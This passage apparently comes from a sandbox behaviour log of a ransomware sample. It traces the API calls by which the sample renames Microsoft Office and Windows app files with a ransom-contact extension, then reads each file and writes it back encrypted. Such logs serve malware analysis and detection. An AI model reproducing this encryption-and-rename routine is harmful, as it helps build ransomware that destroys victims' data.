dwReserved1=0x390039, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5200 [0244.580] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0244.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0244.581] GetProcessHeap () returned 0x630000 [0244.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x739aa40 [0244.581] GetProcessHeap () returned 0x630000 [0244.581] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x73a2110 [0244.581] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.581] ReadFile (in: hFile=0x6d4, lpBuffer=0x739aa40, nNumberOfBytesToRead=0x76a0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739aa40*, lpNumberOfBytesRead=0x65fff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0248.829] GetProcessHeap () returned 0x630000 [0248.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0248.830] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.830] WriteFile (in: hFile=0x6d4, lpBuffer=0x73a2110*, nNumberOfBytesToWrite=0x76a0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a2110*, lpNumberOfBytesWritten=0x65fff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0248.830] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.830] WriteFile (in: hFile=0x6d4, lpBuffer=0x73a97af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a97af*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0248.830] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.830] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0248.830] CloseHandle (hObject=0x6d4) returned 1 [0248.831] GetProcessHeap () returned 0x630000 [0248.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a2110 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739aa40 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0249.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2aebe60a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a437b8c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x76c5, dwReserved0=0x9707496, dwReserved1=0x739aa38, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5400 [0249.135] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0249.135] Sleep (dwMilliseconds=0x1) [0249.143] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml", len=0x94 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml") returned 1 [0249.143] GetProcessHeap () returned 0x630000 [0249.143] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e94) returned 0x6fe3bb0 [0249.143] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\weather.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.146] Sleep (dwMilliseconds=0x1) [0249.157] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf", len=0x77 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned 1 [0249.158] GetProcessHeap () returned 0x630000 [0249.158] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0249.158] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\generic.xbf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.231] Sleep (dwMilliseconds=0x1) [0249.256] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileSmallSquare.scale-100.png", len=0x92 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileSmallSquare.scale-100.png") returned 1 [0249.256] GetProcessHeap () returned 0x630000 [0249.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0249.256] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.258] Sleep (dwMilliseconds=0x1) [0249.264] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_SplashScreen.scale-100.png", len=0x8f | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_SplashScreen.scale-100.png") returned 1 [0249.264] GetProcessHeap () returned 0x630000 [0249.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0249.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.271] Sleep (dwMilliseconds=0x1) [0249.286] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF", len=0x6f | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF") returned 1 [0249.286] GetProcessHeap () returned 0x630000 [0249.286] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dfc) returned 0x6fe3bb0 [0249.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0249.287] CloseHandle (hObject=0x620) returned 1 [0249.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5340 [0249.288] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0249.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0249.288] GetProcessHeap () returned 0x630000 [0249.288] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x6fc88b8 [0249.288] GetProcessHeap () returned 0x630000 [0249.288] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x73d3ce8 [0249.288] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.288] ReadFile (in: hFile=0x620, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x65fff0c*=0x620, lpOverlapped=0x0) returned 1 [0249.384] GetProcessHeap () returned 0x630000 [0249.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0249.385] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.385] WriteFile (in: hFile=0x620, lpBuffer=0x73d3ce8*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d3ce8*, lpNumberOfBytesWritten=0x65fff0c*=0x620, lpOverlapped=0x0) returned 1 [0249.385] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.385] WriteFile (in: hFile=0x620, lpBuffer=0x73d4307*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d4307*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.385] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.385] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.385] CloseHandle (hObject=0x620) returned 1 [0249.385] GetProcessHeap () returned 0x630000 [0249.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d3ce8 | out: hHeap=0x630000) returned 1 [0249.385] GetProcessHeap () returned 0x630000 [0249.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0249.385] GetProcessHeap () returned 0x630000 [0249.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0249.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a96f07f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0x9707496, dwReserved1=0x6fc88b0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5580 [0249.386] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0249.386] Sleep (dwMilliseconds=0x1) [0254.751] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF", len=0x6e | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF") returned 1 [0254.751] GetProcessHeap () returned 0x630000 [0254.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d74) returned 0x6fe3bb0 [0254.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0254.946] CloseHandle (hObject=0x410) returned 1 [0254.946] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~1.FIR")) returned 0x6d51c0 [0254.965] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0254.965] GetProcessHeap () returned 0x630000 [0254.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d81f8 [0254.965] GetProcessHeap () returned 0x630000 [0254.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0254.965] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.965] ReadFile (in: hFile=0x410, lpBuffer=0x6d81f8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81f8*, lpNumberOfBytesRead=0x65fff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.011] GetProcessHeap () returned 0x630000 [0255.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0255.011] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.011] WriteFile (in: hFile=0x410, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x65fff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.011] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.012] WriteFile (in: hFile=0x410, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.012] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.012] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.012] CloseHandle (hObject=0x410) returned 1 [0255.012] GetProcessHeap () returned 0x630000 [0255.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0255.012] GetProcessHeap () returned 0x630000 [0255.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d81f8 | out: hHeap=0x630000) returned 1 [0255.012] GetProcessHeap () returned 0x630000 [0255.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0255.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5df3242d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x65ffd20, dwReserved1=0x6d81f8, cFileName="PROFILE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~1.FIR")) returned 0x6d4f40 [0255.012] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0255.012] Sleep (dwMilliseconds=0x1) [0255.059] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG") returned 1 [0255.059] GetProcessHeap () returned 0x630000 [0255.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d58) returned 0x6fe3bb0 [0255.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0255.074] CloseHandle (hObject=0x6d0) returned 1 [0255.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, 